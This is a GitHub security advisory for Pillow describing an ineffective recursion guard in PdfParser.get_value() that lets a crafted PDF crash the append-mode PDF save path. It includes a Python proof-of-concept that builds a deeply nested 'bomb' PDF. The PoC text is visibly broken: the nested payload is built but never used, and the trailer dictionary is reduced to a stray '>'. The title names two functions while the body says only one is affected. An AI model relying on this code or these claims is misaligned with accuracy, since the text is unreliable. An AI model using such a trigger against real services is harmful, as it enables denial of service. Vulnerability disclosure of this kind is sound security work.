GitHub Advisoryadvisory · PyPI
GHSA-254f-3936-288h Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
MEDIUM
Official page ↗
- Aliases
- CVE-2026-112391
- Ecosystem
- PyPI
- Packages
- Pillow
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-835
- Reviewed
- 2026-10-21
Affected packages
• PyPI Pillow: >= 5.1.0, < 13.0.0 → fixed in 13.0.0
Description
Summary
`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.
Details
`get_value()` in `src/PIL/PdfParser.py`
This is a classmethod that takes `max_nesting: int = -1` and has a guard:
```python
if max_nesting == 0:
return None, None
```
Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.
This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .
Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.
```python
from PIL.PdfParser import PdfParser
def build_pdf(root):
out = bytearray(b"%PDF-1.4\n")
offset = len(out)
out += f"1 0 obj\n".encode()
out += root
out += b"\nendobj\n"
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
xref_offset = len(out)
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
out += b"trailer\n"
out += f">\n".encode()
out += b"startxref\n"
out += f"{xref_offset}\n".encode()
out += b"%%EOF"
return bytes(out)
bomb = b"[" * 3000 + b"]" * 3000
root = b">"
with open("nesting_bomb.pdf", "wb") as f:
f.write(build_pdf(root))
PdfParser("nesting_bomb.pdf") # raises RecursionError
```
Expected: a clean `PdfFormatError`.
Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.
Impact
• Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.
• Confidentiality: none.
• Integrity: none.
• Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.
Related
Alias · CVE (1)
- CVE-2026-112391 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-835 Loop with Unreachable Exit Condition weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h web
- https://nvd.nist.gov/vuln/detail/CVE-2026-112391 advisory
- https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web